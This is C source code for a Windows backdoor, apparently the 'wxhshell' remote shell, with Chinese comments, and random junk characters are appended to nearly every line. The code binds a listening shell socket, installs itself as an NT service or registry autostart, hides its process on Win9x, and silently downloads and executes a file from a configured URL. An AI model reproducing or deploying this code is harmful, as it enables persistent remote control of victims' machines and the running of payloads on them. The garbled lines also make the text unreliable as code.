DWORD BasePriority; 9Jf)!o8
ULONG UniqueProcessId; \0l>q ,
ULONG InheritedFromUniqueProcessId; kE8>dmH23
} PROCESS_BASIC_INFORMATION; 2~[@_
`\`> 0hlu
PROCNTQSIP NtQueryInformationProcess; YJg,B\z}
Hs?e0Z=N
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fj7|D'c
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HoV^Y6
fkSO( C)
HANDLE hProcess; FGO[
|]7IN
PROCESS_BASIC_INFORMATION pbi; YjF|XPv+ l
\!IMaB]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WwH+E]^e+
if(NULL == hInst ) return 0; *<N3_tx"
uw\2qU3gk
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :j|IP)-f
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c4&' D;=
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t?o,RN:
aQ^umrj@?9
if (!NtQueryInformationProcess) return 0; I;5R2" 3
O#wpbrJ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kGpa\c
g1
if(!hProcess) return 0; Go,N>HN
^7;JC7qmN
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :m86
hBE.
[E#UGJ@
CloseHandle(hProcess); -a*K$rnB
q$1PG+-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5es[Ph|K5
if(hProcess==NULL) return 0; o6f_l^+H
{`2R,Jb%S
HMODULE hMod; ^[%%r3"$C
char procName[255]; m<L;
unsigned long cbNeeded; + <,gB $j
tXJUvish
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G-9iowS/A
.2J
L$"
CloseHandle(hProcess); u77E! z4Uz
n| GaV
if(strstr(procName,"services")) return 1; // 以服务启动 >]o}}KF?
*6xgctk
return 0; // 注册表启动 .]aF
1}AI
} OL_{_K(w
uKgZ$-'
// 主模块 -v6M<
int StartWxhshell(LPSTR lpCmdLine) AeAp0cbet
{ AoA!q>
SOCKET wsl; :eo
BOOL val=TRUE; q80S[au
int port=0; R |KD&!~Z
struct sockaddr_in door; N'xSG`,Mg
G,;,D9jO7
if(wscfg.ws_autoins) Install(); Qr
Wj>uR
s,a}?W
port=atoi(lpCmdLine); +cU>k}
5Sk W-+$
if(port<=0) port=wscfg.ws_port; pm{|?R
(H+'X}1
WSADATA data; K'#E3={tt
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;-UmY}MU
Gycm,Cy
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ts~L:3oaQ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C"IKt
door.sin_family = AF_INET; jD7Nb lX
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fs[aa#v4B
door.sin_port = htons(port); u^029sH6j
RmZ]"
`
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q\\gpCgp
closesocket(wsl); 6"dD2WV/
return 1; y^o@"IYu3
} %kgkXc~6|x
H4]Ul
eU
if(listen(wsl,2) == INVALID_SOCKET) { LkQX?2>]
closesocket(wsl); l3 DYg
return 1; 7t.!lh5G%
} 7 I>G{
Wxhshell(wsl); dK>7fy;mv
WSACleanup(); C!7>1I~5
mS0udHod
return 0; z2Z^~,i
s=42uKz
} .KdyJ6o
? R>h `
// 以NT服务方式启动 >ooZj9:'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VE8;sGaJ
{ Zdn~`Q{
DWORD status = 0; Y3O#Q)-j$
DWORD specificError = 0xfffffff; aN(|'uO@
MX+Z ?
serviceStatus.dwServiceType = SERVICE_WIN32; eilYA_FL.
serviceStatus.dwCurrentState = SERVICE_START_PENDING; &5:tn=E
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jMpD+Mb
serviceStatus.dwWin32ExitCode = 0; rSrIEP,c'
serviceStatus.dwServiceSpecificExitCode = 0; >|;aIa@9
serviceStatus.dwCheckPoint = 0; ^i:B+
rl
serviceStatus.dwWaitHint = 0; 2YDM9`5xs\
+ T8B:
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H8"@iE,
if (hServiceStatusHandle==0) return; _2N$LLbg
/q5:p`4{J
status = GetLastError(); wg w(YU
if (status!=NO_ERROR) (64yg
{ /B}lO0]:
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5YrBW:_OI
serviceStatus.dwCheckPoint = 0; JY6
Qp
serviceStatus.dwWaitHint = 0; &~W:xg(jN
serviceStatus.dwWin32ExitCode = status; H#ncM~y*
serviceStatus.dwServiceSpecificExitCode = specificError; O|w J)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P+$:(I
return; w}=5ElB
} QVtQx>K`
t]-5 ]oI
serviceStatus.dwCurrentState = SERVICE_RUNNING; ttu&@
=
serviceStatus.dwCheckPoint = 0; F;]%V%F.X
serviceStatus.dwWaitHint = 0; ^`G}gWBx}w
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #t+d iR
} &?(?vDFfZ
=kuMWaD
// 处理NT服务事件,比如:启动、停止 6R^^ .tCs
VOID WINAPI NTServiceHandler(DWORD fdwControl) IC7M$
{ h2D>;k
switch(fdwControl) o>VVsH
{ K>{T_) {
case SERVICE_CONTROL_STOP: 0L/n ?bf
serviceStatus.dwWin32ExitCode = 0; ' MxrQ;|S
serviceStatus.dwCurrentState = SERVICE_STOPPED; D"D<+
;S#
serviceStatus.dwCheckPoint = 0; )vSRHE
serviceStatus.dwWaitHint = 0; <%"b9T`'
{ rh^mJUh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *IM;tD+7Q~
} sQ\8>[]
return; 7"C$pm6
case SERVICE_CONTROL_PAUSE: y_?Me]
serviceStatus.dwCurrentState = SERVICE_PAUSED; 1aTB%F
break; \*<d{gZ~
case SERVICE_CONTROL_CONTINUE: n<u
$=H
serviceStatus.dwCurrentState = SERVICE_RUNNING; =z
/dcC$r
break; % S os
case SERVICE_CONTROL_INTERROGATE: \QCJ4}\CS
break; ^RI?ybDd
}; c.e2 M/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @
rc{SB
} y9Us n8
Kh_Lp$'0uM
// 标准应用程序主函数 k-^mIJo}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bXNk%W[n
{ K>@+m
W}mn}gTQ
// 获取操作系统版本 736Jq^T
OsIsNt=GetOsVer(); z.;ez}6%V
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7](KV" %V
mUikA9u5=
// 从命令行安装 $[a8$VY^Cm
if(strpbrk(lpCmdLine,"iI")) Install(); JVSA&c%3
~G6Ox)/
// 下载执行文件 pz.JWCU1
if(wscfg.ws_downexe) { oc >{?.^
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Yz+ZY
WinExec(wscfg.ws_filenam,SW_HIDE); QvKh,rBFVG
} |$
lM#Ua
.E8_Oz
if(!OsIsNt) { '$ t
// 如果时win9x,隐藏进程并且设置为注册表启动 0i\M,TNf*
HideProc(); 8b;1FQ'
StartWxhshell(lpCmdLine); 2KYw}j|5
} ud'-;W
else %UERc{~o*,
if(StartFromService()) U!*M*s
// 以服务方式启动 Ay0U=#XP
StartServiceCtrlDispatcher(DispatchTable); 4i(JZN?
else Ni-xx9)=
// 普通方式启动 dQA'($
StartWxhshell(lpCmdLine); 0vD7v
AW!?"xdZ
return 0; Gsq00j
&<Z
}